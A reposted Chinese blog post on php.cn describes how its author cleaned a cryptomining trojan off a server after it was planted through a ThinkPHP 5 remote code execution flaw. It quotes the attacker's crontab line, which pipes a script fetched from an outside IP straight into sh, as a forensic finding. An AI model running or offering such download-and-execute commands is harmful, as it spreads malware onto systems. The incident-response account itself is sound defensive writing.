• 技术文章 >php框架 >ThinkPHP

    挂马清除经历:处理一个利用thinkphp5远程代码执行漏洞挖矿的木马

    藏色散人藏色散人2021-04-07 08:45:31转载109
    下面由thinkphp教程栏目给大家介绍处理一个利用thinkphp5远程代码执行漏洞挖矿的木马的方法,希望对需要的朋友有所帮助!

    记一次挂马清除经历:处理一个利用thinkphp5远程代码执行漏洞挖矿的木马

    昨天发现 一台服务器突然慢了 top 显示 几个进程100%以上的cpu使用

    执行命令为 :

    /tmp/php  -s /tmp/p2.conf

    基本可以确定是被挂马了

    下一步确定来源

    last 没有登陆记录

    先干掉这几个进程,但是几分钟之后又出现了

    先看看这个木马想干什么吧

    netstat 看到 这个木马开启了一个端口和国外的某个ip建立了连接

    但是tcpdump了一小会儿 没有发现任何数据传递

    这他是想干啥?

    继续查看日志吧

    在cron日志中发现了www用户 有一个crontab定时操作 基本就是这个问题了

    wget -q -O - http://83.220.169.247/cr3.sh | sh > /dev/null 2>&1

    顺着下载了几个问题,看了看 应该是个挖矿的木马程序

    服务器上的www用户 是安装 lnmp 创建的,看了来源很可能就是web漏洞了。

    再看/tmp下的php的权限 就是www的

    查看 lnmp下几个站的日志 发现是利用 thinkphp 5最近爆出的远程代码执行漏洞

    漏洞细节:https://nosec.org/home/detail/2050.html

    修复一下问题解决

    但是 这个站点是测试站点 端口监听的是 8083 ,难道现在黑客能开始嗅探非常规端口了?

    来源:https://www.simapple.com/425.html

    相关推荐:最新的10个thinkphp视频教程

    以上就是挂马清除经历:处理一个利用thinkphp5远程代码执行漏洞挖矿的木马的详细内容,更多请关注php中文网其它相关文章!

    声明:本文转载于:simapple,如有侵犯,请联系admin@php.cn删除
    专题推荐:php linux
    上一篇:关于thinkphp6在命令行访问控制器 下一篇:thinkphp中如何使用AOP切面编程快速验证我们的数据
    第15期线上培训班

    相关文章推荐

    • 解析ThinkPHP5之 _initialize() 初始化方法• thinkphp5怎么增加允许指定ip访问模块配置• ThinkPHP5怎么统计指定条件的记录数目• 图文详解Thinkphp5多语言切换(中英文实例)• 详解ThinkPHP5实现极验滑动验证码geetest功能

    全部评论我要评论

  • 取消发布评论发送
  • 1/1

    PHP中文网